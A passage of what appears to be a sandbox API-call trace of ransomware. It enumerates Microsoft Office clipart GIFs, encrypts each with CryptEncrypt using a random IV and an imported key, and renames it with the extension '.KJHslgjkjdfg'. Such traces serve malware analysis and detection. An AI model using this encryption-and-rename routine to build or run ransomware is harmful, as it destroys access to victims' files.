CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.191] SetEndOfFile (hFile=0x130) returned 1 [0198.194] GetProcessHeap () returned 0x2ef0000 [0198.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.194] GetProcessHeap () returned 0x2ef0000 [0198.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.kjhslgjkjdfg")) returned 1 [0198.195] CloseHandle (hObject=0x130) returned 1 [0198.195] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0198.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.195] GetProcessHeap () returned 0x2ef0000 [0198.195] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.195] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.195] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.197] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.197] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.197] GetProcessHeap () returned 0x2ef0000 [0198.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.197] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.197] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.197] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.198] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.198] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.198] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a92, lpOverlapped=0x0) returned 1 [0198.199] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2aa0, dwBufLen=0x2aa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2aa0) returned 1 [0198.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.199] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2aa0, lpOverlapped=0x0) returned 1 [0198.199] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.199] SetEndOfFile (hFile=0x130) returned 1 [0198.201] GetProcessHeap () returned 0x2ef0000 [0198.201] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.202] GetProcessHeap () returned 0x2ef0000 [0198.202] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.kjhslgjkjdfg")) returned 1 [0198.202] CloseHandle (hObject=0x130) returned 1 [0198.203] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0198.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.203] GetProcessHeap () returned 0x2ef0000 [0198.203] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.203] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0198.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.205] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.205] GetProcessHeap () returned 0x2ef0000 [0198.205] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.205] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.205] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.205] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.205] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.205] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.205] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.205] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x148b, lpOverlapped=0x0) returned 1 [0198.206] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490, dwBufLen=0x1490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490) returned 1 [0198.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.206] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1490, lpOverlapped=0x0) returned 1 [0198.206] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.206] SetEndOfFile (hFile=0x130) returned 1 [0198.208] GetProcessHeap () returned 0x2ef0000 [0198.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.208] GetProcessHeap () returned 0x2ef0000 [0198.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.kjhslgjkjdfg")) returned 1 [0198.209] CloseHandle (hObject=0x130) returned 1 [0198.209] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0198.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.210] GetProcessHeap () returned 0x2ef0000 [0198.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0198.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.212] GetProcessHeap () returned 0x2ef0000 [0198.212] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.212] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.212] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.213] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.213] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.213] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x84b7, lpOverlapped=0x0) returned 1 [0198.214] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84c0, dwBufLen=0x84c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84c0) returned 1 [0198.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.214] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x84c0, lpOverlapped=0x0) returned 1 [0198.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.214] SetEndOfFile (hFile=0x130) returned 1 [0198.218] GetProcessHeap () returned 0x2ef0000 [0198.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.218] GetProcessHeap () returned 0x2ef0000 [0198.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.kjhslgjkjdfg")) returned 1 [0198.219] CloseHandle (hObject=0x130) returned 1 [0198.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0198.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.220] GetProcessHeap () returned 0x2ef0000 [0198.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.220] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0198.221] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.221] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.221] GetProcessHeap () returned 0x2ef0000 [0198.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.222] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.223] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.223] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.223] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x409f, lpOverlapped=0x0) returned 1 [0198.224] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40a0, dwBufLen=0x40a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40a0) returned 1 [0198.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.225] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x40a0, lpOverlapped=0x0) returned 1 [0198.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.225] SetEndOfFile (hFile=0x130) returned 1 [0198.225] GetProcessHeap () returned 0x2ef0000 [0198.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.225] GetProcessHeap () returned 0x2ef0000 [0198.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.kjhslgjkjdfg")) returned 1 [0198.226] CloseHandle (hObject=0x130) returned 1 [0198.227] FindNextFileW 